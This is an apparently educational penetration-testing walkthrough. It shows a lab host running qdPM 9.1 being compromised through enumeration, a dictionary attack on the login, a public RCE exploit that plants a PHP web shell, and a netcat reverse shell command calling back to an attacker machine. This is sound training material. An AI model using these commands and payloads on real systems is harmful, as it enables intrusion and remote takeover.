Exploiting Walkthrough

We first scan the target for open ports and services and discover that ports 22 and 80 are open. SSH is generally not vulnerable, so we'll ignore this and check the web service. Let's open a web browser and navigate to the target address.
It appears the website is for an artificial intelligence development company. Reviewing the web contents, we discover some staff information alongside their e-mails on the company's About Us page.
The employee information is not useful to us at this time and we can't find any security vulnerabilities or other issues on the website. Let's use a web directory enumeration tool to scan for any hidden directories on the web server.
After running the directory enumeration tool, we discover a project directory on the website.
The website has a login portal called the AI Project Management Portal. Below the login window, we'll find the web application and version of "qdPM 9.1".

In the event we aren't able to get the version in this way, we could also check the source code of the webpage to get the web application and its version number.

With this new discovery, we'll search Exploit DB for a remote exploit for "qdPM 9.1", which returns a couple relevant exploits.
Inspecting the latest exploit, we determine that it aligns well with our search: it is verified, remote, and allows for remote code execution. We will review the exploit and gain a basic understanding of it before executing it.
The exploit requires a username and password for the project management web application. After reviewing the code, we can conclude the username field of the login page is an e-mail address. We were able to find several e-mails, but no exposed passwords. If we have working credentials with the web application, the exploit will upload a command web shell that we can use to execute commands on the target.
Using a dictionary attack on the login portal along with the four discovered e-mails, we can verify that george@AIDevCorp.org:AIDevCorp are valid credentials for George's account.
With a valid login to the system, we can enumerate the tasks, projects, and some configurations of the project management system. Because we found an exploit that needed working credentials, we can now execute the exploit against our target.
We'll copy the exploit to our current working directory with searchsploit.
The output of the exploit produces an error, but further investigation indicates it worked. The exploit uploaded a command shell to the projects/uploads/users/ directory. We can use curl to verify if we have command execution with this PHP file.
curl http://192.168.50.11/project/uploads/users/420919-backdoor.php?cmd=whoami
The whoami command returned www-data as the system user executing the PHP script. Now, we can enumerate more information from this web shell inside our target. The goal is to get a reverse shell into the machine, so let's check if nc is installed on the target.
We need to modify our curl command to automatically encode our commands supplied to the cmd variable of our web shell. We can use the --data-urlencode option to automatically URL-encode our parameter.
curl http://192.168.50.11/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=which nc"
We find that nc is installed on the target machine. Let's create a netcat listener on port 6666 and attempt to get a reverse shell from the target to our Kali machine.
nc -lvnp 6666
We now have an active netcat listener in our terminal. In another terminal session, let's attempt a netcat reverse shell using the web shell that was uploaded by our exploit.
curl http://192.168.50.11/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=nc -nv 192.168.50.129 6666 -e /bin/bash"
The netcat reverse shell successfully connected to our Kali machine, and we are currently the www-data user.

Lessons:

The idea of this section is to find the service/application and version of that service to find any pre-existing exploits to compromise the software.
Also, we must review the exploit code prior to execution to avoid any malicious activity from infecting us or our employer for the penetration test.
It is important that we gather any necessary information for the exploit usage details, such as the login credentials we used with our exploit.

PreviousLocating Public Exploits NextFixing Exploits

Last updated 3 months ago

Lessons:

The idea of this section is to find the service/application and version of that service to find any pre-existing exploits to compromise the software.

Also, we must review the exploit code prior to execution to avoid any malicious activity from infecting us or our employer for the penetration test.

It is important that we gather any necessary information for the exploit usage details, such as the login credentials we used with our exploit.